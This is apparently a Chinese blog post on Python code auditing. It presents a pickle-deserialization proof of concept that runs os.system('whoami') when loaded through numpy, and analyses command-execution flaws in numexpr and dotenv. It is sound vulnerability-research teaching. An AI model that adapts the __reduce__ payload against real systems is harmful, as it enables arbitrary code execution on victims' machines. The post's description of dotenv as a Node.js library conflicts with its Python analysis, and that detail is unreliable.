主页 > 网络知识 > Python代码审计实战案例总结之反序列化和命令执行(2)

Python代码审计实战案例总结之反序列化和命令执行(2)

综上所述,编写POC如下:

from numpy.lib import npyio from numpy import __version__ print(__version__) import os import pickle class Test(object): def __init__(self): self.a = 1 def __reduce__(self): return (os.system,('whoami',)) tmpdaa = Test() with open("test-file.pickle",'wb') as f: pickle.dump(tmpdaa,f) npyio.load("test-file.pickle")

测试结果如图:

 

图片6.png

 

命令执行审计实战

在Python模块中命令执行漏洞同样较为常见、危害较大。在审计命令执行时,大多时候程序可能会在满足特定条件下才能执行命令,也可能需要在不同的系统中才会执行命令,所以需要关注代码逻辑和某些特性。

numexpr 命令执行漏洞(CNVD-2019-17298)

Numexpr是机器学习模块NumPy的一个加速包,主要用于提高NumPy的性能。

漏洞分析

在该模块/numexpr/cpuinfo.py 第37行,存在执行命令的方法。

 

图片7.png

 

getoutput 就是存在问题的方法,通过逻辑在.popen中进行命令执行,但是由于os.WIFEXITED(status)和os.WEXITSTATUS(status)只在linux下支持所以在windows下面执行会报错。linux 下当status 为全局变量并且赋值为0的时候,os.WIFEXITED(status)结果为True,os.WEXITSTATUS(status)结果为0。根据代码逻辑:if os.WIFEXITED(status) and os.WEXITSTATUS(status) in successful_status:所以successful_status =(True,0),并通过形参传入,最终导致命令执行问题。

漏洞POC

漏洞POC和执行结果:

 

图片8.png

 

dotenv 命令执行漏洞(CNVD-2019-17299)

dotenv是一个使Node.js从文件中加载环境变量的库。

漏洞分析

漏洞存在于dotenv 0.10.1版本中的main.py文件之中,第317行,可见该方法形参传入命令和环境变量。但是由于未对可用命令进行过滤导致任意命令执行问题。

 

图片9.png

 

漏洞POC

漏洞POC和执行结果:

 

图片10.png

 

总结

通过以上案例和总结,相信咱们能够进一步提高Python审计的功力。这些漏洞在Python审计中比较典型,如果在文章中哪里存在疏忽,盼斧正。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!